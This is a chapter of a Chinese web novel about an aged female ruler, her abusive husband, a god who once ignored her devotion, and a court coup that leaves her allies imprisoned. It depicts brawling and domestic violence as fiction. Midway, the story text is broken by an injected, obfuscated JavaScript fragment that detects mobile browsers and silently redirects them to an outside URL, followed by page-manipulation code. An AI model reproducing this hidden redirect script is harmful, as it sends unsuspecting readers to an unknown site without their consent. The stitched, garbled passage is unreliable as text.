她跟贺平安过日子的时候,也是这样!问她什么,要么就逃避,要么就不说,要么就装听不见! 别人都快急死了,她还在那儿跟只乌龟一样,定力极强地在做自己的事。 浇菜园子都能浇出花儿来,就是不肯理人一句是吗? 当初还在天上的时候,衡羿就觉得小信徒很像沉默的小乌龟。 没有人能逼迫她敞开心扉,若是强行凿开她的龟背,那只会看到血肉模糊的倔强。 犟种小老太真是气死个人! 其实,花祝年完全有理由不理衡羿的。 无论是他还是贺平安,为什么每次对方一跟她说话,她就要理呢? 就因为他们一个是神,另一个是她男人吗? 她不理,肯定有自己的理由。 要么是不想提,要么是不想应付,再要么就是说了也没用,要么是说了之后就挨一顿打…… 总之,不理是最好的方式。 她既不求对方承认自己,也不承认对方。 以沉默应对。 但这真的会逼疯一个,迫切地想要同她交流的人。 纵使你是先知,你是神,你法力无边,你也不能让一个不愿开口的女人给予回应。 她有不理所有人的权力。 不愿意当众承认自己被打,不愿意讲出自己的私事。 况且,她并不知道他这样问自己的目的是什么? 不过,总不会是关心她。大概是跟风和畅他们一样,临死前想看她的笑话。 天底下只有爹娘会问她的伤口。 但是,他们已经不在了,她已经接受了这个事实,很多很多年了。 除此之外,她不会回应任何看似关切地问询。 就连鲁戎和虎翼,也没办法插手她跟贺平安之间的事。 因为他们是夫妻,离也离不了的那种。 其实鲁戎之前想让薛凡入后宫,也的确是为了花祝年着想,但她一心痴迷于权力…… 花祝年走神儿的几秒内,贺平安粗着嗓子叫骂道:“你他妈挑拨什么呢?两口子过日子不都这样?那不是打,那是情——” 他的话还没说完,就看着一个火人朝着自己奔袭而来。 都来不及做出什么反应,就被衡羿摁倒在地上。 衡羿疯狂地暴揍着贺平安,内心明明在疯狂咆哮着,却一句话都说不出口。 他以为自己走后,他们会好好过日子的。 毕竟,小泥人儿也被她一箭射碎了,那再也不能成为他们之间的隔阂。 其实衡羿挺狗的。 他一直都知道他们过不好的根源在哪里。 但凡这三十年,他冷脸拒绝她一次,都不会让她供奉他这么久,贺平安心里的疙瘩也不会越结越大。 偏偏他就是不下来找她,可是也不拒绝她,但也从没有给她任何回应。 她记忆中的几次托梦,都是因为太惦念他,才臆想出来的。 他纵容她在自己身上,投放所有的情感,不知道是仁慈还是残忍。 花祝年跟贺平安过成这样,不能说衡羿一点儿责任没有,可以说大部分的责任都在他。 如今他打贺平安,也不知道是在用什么身份。 因为自己也很混乱。 花祝年见两人皆被烈火吞噬,于心不忍道:“把他弄出来。” 虽然她没有明说是谁,但衡羿知道,她肯定是要救贺平安。 他快要气死了!又几十年如一日地供奉他,可生死关头又救她男人,这算哪门子的喜欢? 可贺平安也觉得生气啊! 他跟这个阴魂不散的奸夫厮打在一起:“当初老子怎么就没砍死你呢?” “你一个奸夫也是厉害起来了,敢挑衅正夫了,见过不要脸的,没见过这么不要脸的!” “老子知道你心里有怨气,你肯定在想,为什么你年轻又健壮,可她还是不跟你?” “老子就明白告诉你,她就是宁可跟着我这种又老又糙的,也不跟着你跟宋礼遇,气死你们这群狗日的!” 宋礼遇本来没想扯进来,可是听到贺平安的话后,他那股火又蹿上来了。 是啊,他妈的,凭什么贺平安这样粗鲁的烂男人,要霸占她那么多年? 不如趁这个机会弄死他。 他拎了杆蘸了水的旗子,就跟众人一起上去“救人”了。 别人是救人,只有他是真打。 不光打贺平安,另一个他也打,可是给他打爽了。 风和畅在一旁,将宋礼遇的操作尽收眼底,他觉得这些人真是丢人! 他们要是为了争权夺利也就罢了,三个人加起来快两百岁了。 居然在为了一个毒妇在打架。 花祝年在风和畅眼中,是世间最毒的毒妇。 很毒很毒的那种,比毒蛇还要毒上几分。 看一眼,就让人浑身发寒,他实在是想不出,她到底有哪里好。 这十五年来,他每次跟她吵完架,回去都是一个劲儿地做噩梦。 梦见她银白的头发,梦见她沧桑冷毅的脸,梦见她遒劲的老手一把捏爆他的蛋…… 每到这时,风和畅都猛地从床上坐起来,吓出一身冷汗。 按理说,他不应该如此怕她的。 就算她现在年纪比他大,他怕她做什么呢? 他可是有着二十世记忆的人,每次都是活到七老八十,才寿终正寝。 阅历一点也不比她浅,她在他眼里,并不是如何威严的首领,也就跟黄毛小儿没什么区别。 风和畅思来想去,还是觉得都怪这个小老太,吵架动不动就说闲得他蛋疼。 他都不知道,一个女人,这是怎么说得出口的! 老了就不是女人了是吧。 这个老怪物。 风和畅觉得自己永远不会,对花祝年这样的毒妇感兴趣。 他恨不得她死,她当然也是! 可同时,他们又在某些事情上,出奇地契合。 风和畅从来对女人不感兴趣,女人只会影响他晋升的速度。 他看花祝年也是,只对权力着迷。某种程度上,他们也算一类人。 但一个老阴比,是绝不会爱上另一个老阴比的。 除非大发神经! 干碎他多年的布局,抢夺他的权力,将他固定在某个位置上,几十年如一日地榨干他的心血,却仅仅是成就她的死前幻想…… 风和畅光是想想,就觉得一阵恶寒。 他真的非常不理解,是不是老怪物给这几个人,吃了什么迷魂药。 他们到底还要不要脸了?就这样在大庭广众之下地打了起来。 可就在他皱着眉头,嫌弃地吃瓜的时候,花祝年忽地晕了过去。 风和畅碍于表面关系,该做的功夫得做,就伸出手去扶了一把。 没扶住,还把他给带倒在地。几乎同时,咔嚓一声,手被压断了。 不是,这小老太后背怎么跟案板似的? 早知道不扶了。也没人告诉他,扶个小老太有这么大风险啊! 花祝年在众目睽睽之下晕倒,的确在风和畅的计划之内。 但他没料到,自己会跟着折进去一只手! 等把她抬进屋里,他才知道这手是怎么断的。 小老太里边穿戴了厚重的钢板。 怪不得倒下的时候,他听见哐当一声。 衡羿最终还是没死成。 不仅没死成,还被风和畅保护起来了。 他现在待他很好,就像当初待花祝年一样好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13902407|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 因为他浑身多处烫伤,风和畅找了上好治疗烫伤的药膏来给他用。 还留了一屋子人伺候他,生怕他伤口溃烂。 花祝年那边就略显苍凉了。 第一天,还有贺平安跟宋礼遇。第二天,只有贺平安。第三天,已经什么人都没了。 鲁戎和虎翼不被允许去看她。 后来,有人要收鲁戎的兵符,可是鲁戎不交,反抗的时候差点被乱刀砍死。 她奄奄一息地被丢入监牢。 监牢里,还关着暴躁发疯的贺平安,在喋喋不休地咒骂着什么。 不过,无人在意他。 本来他是要黄袍加身的,风和畅也的确准备扶他做傀儡。 可现在出现了更合适的人。 那自然是换人来当。 有花祝年的时候,贺平安是潜在的边塞将领,是能分到蛋糕的人。就算不要封赏,他也是她的皇夫。 总之,待遇不会差到哪里去。 可一旦花祝年大权旁落,他就是条只会嘶吼的野狗。 鲁戎躺在地上,看着监牢里透着微光的小窗,等待自己的死亡。 她只知道要对外狠,却从没想过防内,原来自己人对自己人,也是这样狠的。当初一起在战场上杀敌的时候,仿佛是一场遥不可及的梦。 刀口渗出的血,浸染了地上的苇席。 囡吉过来给她上药,却被她凉凉地看了一眼。 她低头抹了把泪:“你就消停点儿吧,有我来看你就不错了,别嫌这嫌那的。” 鲁戎冷笑道:“你还是又跟了他,兵符也交出去了?” 囡吉拿出针线来给她缝伤口:“你真是蛮蠢的,怪不得老爷说,你这样的人,很容易死,让我离你远点儿。” “你聪明。” “我也不聪明,但我以为你很聪明。当初,我看你经常跟夫人不对付,还以为你是故意保持中立,防止别人夺权的时候殃及到你。原来你真的只是在给她闹小脾气,根本没想到今后的事。” 权力变更,人亡政息,是很正常的事,正常到几乎不可扭转。 眼看着大势已去,该交兵符就要交的。 所以,囡吉就交了,名字也改了,生怕风和畅的人找自己算账,还及时投靠了宋礼遇。 幸好宋礼遇愿意收留她。 鲁戎就傻很多了。 她还期望花祝年能醒过来,醒过来再带着她杀一场。 所以,死攥着兵符不放。 这就跟站队一个死人,没什么区别。 现在正是风和畅风头正盛的时候,肯定会挑刺头打压的。 鲁戎被整得这样惨,就算有人想站花祝年,也只能明哲保身。 所以,囡吉说鲁戎蠢得要命。 平日里闹得你死我活,可该撇清关系的时候,又倔强耿直地靠了上来。 真是个别扭怪。 囡吉缝着鲁戎的伤口,对她问道:“你知不知道,做人最重要的是什么?” “身段柔软吗?” “不,是灵活。灵了才能活!你要是找死,那谁也没办法。” “这就是你改掉名字的原因?” “如果夫人醒过来,她一定也会希望我这样做。活着是最重要的,不管怎样活着。人力太单薄了,时势造英雄,时势让你当泥鳅,那你就趴土里蛄蛹着,时势让你当龙,那你就飞龙在天。” “不能说,时势让你当龙,你往泥里钻,时势让你当泥鳅,你要上天。你我都是普通人,就连夫人也是。这十几年我活得很开心,如果今后再没办法这样畅快,那也没关系。鸟儿能飞出去看一看也好啊,哪怕最后又回到笼子里。” 她将她身上的伤口一处处缝合,因为太多了,从晌午一直缝到了晚上。 缝到最后累得手都抬不起来。 囡吉吹灭烛火,对鲁戎说道:“等过几天,形势平稳一些了,老爷会去跟风和畅求情,你就跟着我们吧,至少还有条生路。这些年来,老爷从来没有站错队过,你真的不要太执拗了。”